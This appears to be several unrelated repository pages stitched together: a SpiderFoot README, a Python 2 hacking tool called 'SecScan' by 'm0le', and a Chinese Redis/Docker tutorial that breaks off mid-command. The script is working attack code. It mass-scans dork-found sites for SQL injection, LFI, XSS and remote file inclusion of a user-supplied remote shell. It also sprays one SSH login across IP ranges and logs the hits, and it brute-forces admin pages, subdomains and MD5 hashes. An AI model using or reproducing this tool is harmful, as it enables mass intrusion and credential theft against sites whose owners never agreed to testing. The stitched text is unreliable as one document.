ادات جلب معلوماتUSES SpiderFoot can be used offensively (e.g. in a red team exercise or penetration test) for reconnaissance of your target or defensively to gather information about what you or your organisation might have exposed over the Internet. You can target the following entities in a SpiderFoot scan: IP address Domain/sub-domain name Hostname Network subnet (CIDR) ASN E-mail address Phone number Username Person's name Bitcoin address SpiderFoot's 200+ modules feed each other in a publisher/subscriber model to ensure maximum data extraction to do things like: Host/sub-domain/TLD enumeration/extraction Email address, phone number and human name extraction Bitcoin and Ethereum address extraction Check for susceptibility to sub-domain hijacking DNS zone transfers Threat intelligence and Blacklist queries API integration with SHODAN, HaveIBeenPwned, GreyNoise, AlienVault, SecurityTrails, etc. Social media account enumeration S3/Azure/Digitalocean bucket enumeration/scraping IP geo-location Web scraping, web content analysis Image, document and binary file meta data analysis Dark web searches Port scanning and banner grabbing Data breach searches So much more... INSTALLING & RUNNING To install and run SpiderFoot, you need at least Python 3.6 and a number of Python libraries which you can install with pip. We recommend you install a packaged release since master will often have bleeding edge features and modules that aren't fully tested. Stable build (packaged release): $ wget https://github.com/smicallef/spiderfoot/archive/v3.3.tar.gz $ tar zxvf v3.3.tar.gz $ cd spiderfoot ~/spiderfoot$ pip3 install -r requirements.txt ~/spiderfoot$ python3 ./sf.py -l 127.0.0.1:5001 Development build (cloning git master branch): $ git clone https://github.com/smicallef/spiderfoot.git $ cd spiderfoot $ pip3 install -r requirements.txt ~/spiderfoot$ python3 ./sf.py -l 127.0.0.1:5001 Check out the documentation and our asciinema videos for more tutorials. COMMUNITY Whether you're a contributor, user or just curious about SpiderFoot and OSINT in general, we'd love to have you join our community! SpiderFoot now has a Discord server for chat, and a Discourse server to serve as a more permanent knowledge base.
microsoft
Sample application for using the Fabric / Power BI metadata Scanner API
udinparla
#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count < numlinks: start = source.find('_t" href', start, end) end = source.find(' onmousedown="return pk', start, end) link = source[start+10:end-1].replace("amp;","") self.queue.put(link) start = end end = len(source) count = count + 1 self.page += 1 if option == '1': for i in range(10): thread = ScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '2': for i in range(10): thread = LScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '3': for i in range(10): thread = XScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '4': for i in range(10): thread = RScanClass(self.queue, self.shell) thread.setDaemon(True) thread.start() self.queue.join() class ScanClass(threading.Thread): """Scans for Sql errors and ouputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue self.schar = "'" self.file = 'sqli.txt' def run(self): """Scans Url for Sql errors""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np test = site + self.schar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("error in your SQL syntax", data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('oracle.jdbc.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('system.data.oledb', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('SQL command net properly ended', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('atoracle.jdbc.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('java.sql.sqlexception', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('query failed:', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('postgresql.util.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('mysql_fetch', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('Error:unknown', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('JET Database Engine', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('Microsoft OLE DB Provider for', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('mysql_numrows', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('mysql_num', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('Invalid Query', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('FetchRow', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('JET Database', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('OLE DB Provider for', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('Syntax error', data, re.I)): self.mssql(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def mysql(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + W+url else: print O+"MySql: " + url + W write = open(self.file, "a+") write.write('[SQLI]: ' + url + "\n") write.close() def mssql(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file).read() if url in read: print G+'Dupe: ' + url + W else: print O+"MsSql: " + url + W write = open (self.file, "a+") write.write('[SQLI]: ' + url + "\n") write.close() class LScanClass(threading.Thread): """Scans for Lfi errors and outputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.file = 'lfi.txt' self.queue = queue self.lchar = '../' def run(self): """Checks Url for File Inclusion errors""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: lsite = site.rsplit('=', 1)[0] if lsite[-1] != "=": lsite = lsite + "=" test = lsite + self.lchar global vuln global invuln global np try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("failed to open stream: No such file or directory", data, re.I)): self.lfi(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def lfi(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Lfi: " + url + W write = open(self.file, "a+") write.write('[LFI]: ' + url + "\n") write.close() class XScanClass(threading.Thread): """Scan for Xss errors and outputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue self.xchar = """<ScRIpT>alert('xssBYm0le');</ScRiPt>""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def xss(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Xss: " + url + W write = open(self.file, "a+") write.write('[XSS]: ' + url + "\n") write.close() class RScanClass(threading.Thread): """Scans for Rfi errors and outputs to file""" def __init__(self, queue, shell): threading.Thread.__init__(self) self.queue = queue self.file = 'rfi.txt' self.shell = shell def run(self): """Checks Url for Remote File Inclusion vulnerability""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np rsite = site.rsplit('=', 1)[0] if rsite[-1] != "=": rsite = rsite + "=" link = rsite + self.shell + '?' try: conn = urllib2.Request(link) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall('uname -a', data, re.I)): self.rfi(link) vuln += 1 else: print B+link + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def rfi(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Rfi: " + url + W write = open(self.file, "a+") write.write('[Rfi]: ' + url + "\n") write.close() class Atest(threading.Thread): """Checks given site for Admin Pages/Dirs""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): """Checks if Admin Page/Dir exists""" while True: try: site = self.queue.get(False) except Queue.Empty: break try: conn = urllib2.Request(site) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) print site found.append(site) self.queue.task_done() except urllib2.URLError: self.queue.task_done() def admin(): """Create queue and threads for admin page scans""" print 'Need to include http:// and ending /\n' site = raw_input('Site: ') queue = Queue.Queue() dirs = ['admin.php', 'admin/', 'en/admin/', 'administrator/', 'moderator/', 'webadmin/', 'adminarea/', 'bb-admin/', 'adminLogin/', 'admin_area/', 'panel-administracion/', 'instadmin/', 'memberadmin/', 'administratorlogin/', 'adm/', 'admin/account.php', 'admin/index.php', 'admin/login.php', 'admin/admin.php', 'admin/account.php', 'joomla/administrator', 'login.php', 'admin_area/admin.php' ,'admin_area/login.php' ,'siteadmin/login.php' ,'siteadmin/index.php', 'siteadmin/login.html', 'admin/account.html', 'admin/index.html', 'admin/login.html', 'admin/admin.html', 'admin_area/index.php', 'bb-admin/index.php', 'bb-admin/login.php', 'bb-admin/admin.php', 'admin/home.php', 'admin_area/login.html', 'admin_area/index.html', 'admin/controlpanel.php', 'admincp/index.asp', 'admincp/login.asp', 'admincp/index.html', 'admin/account.html', 'adminpanel.html', 'webadmin.html', 'webadmin/index.html', 'webadmin/admin.html', 'webadmin/login.html', 'admin/admin_login.html', 'admin_login.html', 'panel-administracion/login.html', 'admin/cp.php', 'cp.php', 'administrator/index.php', 'cms', 'administrator/login.php', 'nsw/admin/login.php', 'webadmin/login.php', 'admin/admin_login.php', 'admin_login.php', 'administrator/account.php' ,'administrator.php', 'admin_area/admin.html', 'pages/admin/admin-login.php' ,'admin/admin-login.php', 'admin-login.php', 'bb-admin/index.html', 'bb-admin/login.html', 'bb-admin/admin.html', 'admin/home.html', 'modelsearch/login.php', 'moderator.php', 'moderator/login.php', 'moderator/admin.php', 'account.php', 'pages/admin/admin-login.html', 'admin/admin-login.html', 'admin-login.html', 'controlpanel.php', 'admincontrol.php', 'admin/adminLogin.html' ,'adminLogin.html', 'admin/adminLogin.html', 'home.html', 'rcjakar/admin/login.php', 'adminarea/index.html', 'adminarea/admin.html', 'webadmin.php', 'webadmin/index.php', 'webadmin/admin.php', 'admin/controlpanel.html', 'admin.html', 'admin/cp.html', 'cp.html', 'adminpanel.php', 'moderator.html', 'administrator/index.html', 'administrator/login.html', 'user.html', 'administrator/account.html', 'administrator.html', 'login.html', 'modelsearch/login.html', 'moderator/login.html', 'adminarea/login.html', 'panel-administracion/index.html', 'panel-administracion/admin.html', 'modelsearch/index.html', 'modelsearch/admin.html', 'admincontrol/login.html', 'adm/index.html', 'adm.html', 'moderator/admin.html', 'user.php', 'account.html', 'controlpanel.html', 'admincontrol.html', 'panel-administracion/login.php', 'wp-login.php', 'wp-admin', 'typo3', 'adminLogin.php', 'admin/adminLogin.php', 'home.php','adminarea/index.php' ,'adminarea/admin.php' ,'adminarea/login.php', 'panel-administracion/index.php', 'panel-administracion/admin.php', 'modelsearch/index.php', 'modelsearch/admin.php', 'admincontrol/login.php', 'adm/admloginuser.php', 'admloginuser.php', 'admin2.php', 'admin2/login.php', 'admin2/index.php', 'adm/index.php', 'adm.php', 'affiliate.php','admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/'] for add in dirs: test = site + add queue.put(test) for i in range(20): thread = Atest(queue) thread.setDaemon(True) thread.start() queue.join() def aprint(): """Print results of admin page scans""" print 'Search Finished\n' if len(found) == 0: print 'No pages found' else: for site in found: print O+'Found: ' + G+site + W class SDtest(threading.Thread): """Checks given Domain for Sub Domains""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): """Checks if Sub Domain responds""" while True: try: domain = self.queue.get(False) except Queue.Empty: break try: site = 'http://' + domain conn = urllib2.Request(site) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) except urllib2.URLError: self.queue.task_done() else: target = socket.gethostbyname(domain) print 'Found: ' + site + ' - ' + target self.queue.task_done() def subd(): """Create queue and threads for sub domain scans""" queue = Queue.Queue() site = raw_input('Domain: ') sub = ["admin", "access", "accounting", "accounts", "admin", "administrator", "aix", "ap", "archivos", "aula", "aulas", "ayuda", "backup", "backups", "bart", "bd", "beta", "biblioteca", "billing", "blackboard", "blog", "blogs", "bsd", "cart", "catalog", "catalogo", "catalogue", "chat", "chimera", "citrix", "classroom", "clientes", "clients", "carro", "connect", "controller", "correoweb", "cpanel", "csg", "customers", "db", "dbs", "demo", "demon", "demostration", "descargas", "developers", "development", "diana", "directory", "dmz", "domain", "domaincontroller", "download", "downloads", "ds", "eaccess", "ejemplo", "ejemplos", "email", "enrutador", "example", "examples", "exchange", "eventos", "events", "extranet", "files", "finance", "firewall", "foro", "foros", "forum", "forums", "ftp", "ftpd", "fw", "galeria", "gallery", "gateway", "gilford", "groups", "groupwise", "guia", "guide", "gw", "help", "helpdesk", "hera", "heracles", "hercules", "home", "homer", "hotspot", "hypernova", "images", "imap", "imap3", "imap3d", "imapd", "imaps", "imgs", "imogen", "inmuebles", "internal", "intranet", "ipsec", "irc", "ircd", "jabber", "laboratorio", "lab", "laboratories", "labs", "library", "linux", "lisa", "login", "logs", "mail", "mailgate", "manager", "marketing", "members", "mercury", "meta", "meta01", "meta02", "meta03", "miembros", "minerva", "mob", "mobile", "moodle", "movil", "mssql", "mx", "mx0", "mx1", "mx2", "mx3", "mysql", "nelson", "neon", "netmail", "news", "novell", "ns", "ns0", "ns1", "ns2", "ns3", "online", "oracle", "owa", "partners", "pcanywhere", "pegasus", "pendrell", "personal", "photo", "photos", "pop", "pop3", "portal", "postman", "postmaster", "private", "proxy", "prueba", "pruebas", "public", "ras", "remote", "reports", "research", "restricted", "robinhood", "router", "rtr", "sales", "sample", "samples", "sandbox", "search", "secure", "seguro", "server", "services", "servicios", "servidor", "shop", "shopping", "smtp", "socios", "soporte", "squirrel", "squirrelmail", "ssh", "staff", "sms", "solaris", "sql", "stats", "sun", "support", "test", "tftp", "tienda", "unix", "upload", "uploads", "ventas", "virtual", "vista", "vnc", "vpn", "vpn1", "vpn2", "vpn3", "wap", "web1", "web2", "web3", "webct", "webadmin", "webmail", "webmaster", "win", "windows", "www", "ww0", "ww1", "ww2", "ww3", "www0", "www1", "www2", "www3", "xanthus", "zeus"] for check in sub: test = check + '.' + site queue.put(test) for i in range(20): thread = SDtest(queue) thread.setDaemon(True) thread.start() queue.join() class Cracker(threading.Thread): """Use a wordlist to try and brute the hash""" def __init__(self, queue, hashm): threading.Thread.__init__(self) self.queue = queue self.hashm = hashm def run(self): """Hash word and check against hash""" while True: try: word = self.queue.get(False) except Queue.Empty: break tmp = hashlib.md5(word).hexdigest() if tmp == self.hashm: self.result(word) self.queue.task_done() def result(self, words): """Print result if found""" print self.hashm + ' = ' + words def word(): """Create queue and threads for hash crack""" queue = Queue.Queue() wordlist = raw_input('Wordlist: ') hashm = raw_input('Enter Md5 hash: ') read = open(wordlist) for words in read: words = words.replace("\n","") queue.put(words) read.close() for i in range(5): thread = Cracker(queue, hashm) thread.setDaemon(True) thread.start() queue.join() class OnlineCrack: """Use online service to check for hash""" def crack(self): """Connect and check hash""" hashm = raw_input('Enter MD5 Hash: ') conn = urllib2.Request('http://md5.hashcracking.com/search.php?md5=%s' % (hashm)) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) data = opener.open(conn).read() if data == 'No results returned.': print '\n- Not found or not valid -' else: print '\n- %s -' % (data) class Check: """Check your current IP address""" def grab(self): """Connect to site and grab IP""" site = 'http://www.tracemyip.org/' try: conn = urllib2.Request(site) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) data = opener.open(conn).read() start = 0 end = len(data) start = data.find('onClick="', start, end) end = data.find('size=', start, end) ip_add = data[start+46:end-2].strip() print '\nYour current Ip address is %s' % (ip_add) except urllib2.HTTPError: print 'Error connecting' def output(): """Outputs dork scan results to screen""" print '\n>> ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\nm0le@tormail.org\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main()
tangcr
Redis是什么 Redis是一个NOSQL,NOSQL有许多种,它们分为: 列存储,如:Hbase、Cassandra这种 文档存储,如:MongoDB(首推) key-value存储,如:Berkeley DB、MemcacheDB、Redis,其中Redis最强 图存储,这块基本不用,有:Neo4j、Versant XML存储,如:Berkeley DB Xml还有XBASE,ORACLE很早已经支持这种存储方式了 光知道这些NOSQL的名词是没有用的,关键在于要知道在哪种场景下选用哪种NOSQL才是我们真正要去掌握的。 我们这边说Redis就拿Redis说事吧,它能干什么呢? Redis基础应用场景 web间session共享,即多个war工程共享一个session 分布式缓存,因为redis为键值对,而且它提供了丰富的adapter可以支持到C、.net、java客户端,因此对于异质平台间进行数据交换起到了作用,因此它可以用作大型系统的分布式缓存,并且其setnx的锁常被用于”秒杀“,”抢红包“这种电商活动场景中。 安装Redis 我本来想在这儿写”Redis上的‘坑‘“,最后我还是觉得把它放到后面章节中去写吧,因为中国人的思维是先有感性再有理性的一种逆向思维,其实这点很像美国人,因此中国人在世界上是最聪明的民族之一,所以我们还是先从动手搭一个Redis的环境来说起吧,老规矩,红色加粗很重要。 一定要使用Linux来布署Redis,请不要偷懒使用Redis 2.8.1 for windows那个版本,如果你使用了这个版本你将无法跟上这一系列教程的步伐。因为Redis为GCC+这样的东西开发出来的,它天生就是运行在LINUX/Unix环境下的,而那个windows版的Redis是一个”烟“割版,而且是一个unofficial的版本,非官方授权的哈。 先从Docker开始 如果已经有Linux/Unix环境的同协们可以直接跳过这一章。 我们这边要开始变态了,因为我们要真正开始踏上SOA、PAAS、互联网的脚步了。 如果对于没有Linux/Unix环境的用户来说,我在这边推荐使用docker,即boot2docker windows版来安装,它下载后是一个这样的文件 安装前把你的网络连接中的IPV6协议前的勾去掉 双击它,在安装时记得选择Virtual-Box选项,因为docker本为linux/unix下之物,因此为了在windows下使用docker,boot2docker内嵌了一个virtualbox来虚拟docker的环境。 装完后它会在你的桌面上生成一个蓝色的图标,双击它,它会打开一个绿色的字,黑色的背景像matrix电影里的那种命令行窗口,这就是Docker。 装完后运行: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker@boot2docker:~$ docker run hello-world 看到下面这些提示 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 Hello from Docker. This message shows that your installation appears to be working correctly. To generate this message, Docker took the following steps: 1. The Docker client contacted the Docker daemon. 2. The Docker daemon pulled the “hello-world” image from the Docker Hub. (Assuming it was not already locally available.) 3. The Docker daemon created a new container from that image which runs the executable that produces the output you are currently reading. 4. The Docker daemon streamed that output to the Docker client, which sent it to your terminal. To try something more ambitious, you can run an Ubuntu container with: $ docker run -it ubuntu bash For more examples and ideas, visit: http://docs.docker.com/userguide/ 说明你的Docker安装成功了。 在Docker中安装unix环境 有了Docker我们就用Docker虚拟一个Ubuntu(UNIX)环境吧,在这边我们使用的是Ubuntu14。 ubuntu14请下载这个包:戳: 下载Ubuntu14包 下载后直接在docker下运行下面这条命令: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 cat ubuntu-14.04-x86_64.tar.gz |docker import - ubuntu:ubuntu14 这个过程会很快,完成后查看自己的image: 成功导入了ubuntu,这样我们就可以在Docker中运行出一个自己的ubuntu了。 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker run -i -t ubuntu:ubuntu14 /bin/bash 以上运行后,进入了该ubuntu的bash环境。 注:如果上述命令出错,可以使用下面这条命令: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker run -i -t ubuntu:ubuntu14 //bin/bash 两个 “/” 哈 如果你能看到类似于root@ubuntu14_这样的命令行界面说明你的ubuntu14也已经安装成功了,下面我们就要在这个docker->ubuntu14中安装和布署我们的Redis了,这个过程和在Linux下一样。 在ubuntu14下先安装SSHD,以便于我们使用WINSCP这样的SFTP工具来管理我们的ubuntu14中的文件系统 在ubuntu14中安装SSHD 第一步: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker run -t -i ubuntu/mk:v1 /bin/bash 进入我们的ubuntu环境,这边的ubuntu/mk就是我本机的docker中ubuntu14 container(容器)的名字,如果按照上面的延续此处可以替换成ubuntu:ubuntu14这个名字吧。 第二步: 升级一下你的apt-get,它就是一个命令行IE下载工具,如果你不update,那么你apt-get的源、内核都为旧的,因此为了升级apt-get请键入下面的命令 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 apt-get update 这个过程很快(依赖于你的网络环境) 第三步: 下载和安装openssh组件 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 apt-get install openssh-server openssh-client 第四步: 修改你的root密码 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 passwd 键入两次你的root密码,我这边都为6个小写的a 第五步: 退出容器,并保存以上修改,如果docker在退出后你接着退出docker环境或者是关机那么刚才的4步全部不生效,你一定要commit它才能生效,为此: 你先要知道你刚才用docker run命令运行的ubuntu14的容器的ID,你可以使用 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker ps -a 来查到你latest的一次容器的ID,它是一组16进制一样的编码如:1edfb9aabde8890,有了这个container id我们就可以commit我们刚才装的openssh的环境了 commit刚才在容器中所做的修改 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker commit 1edfb9aabde8890 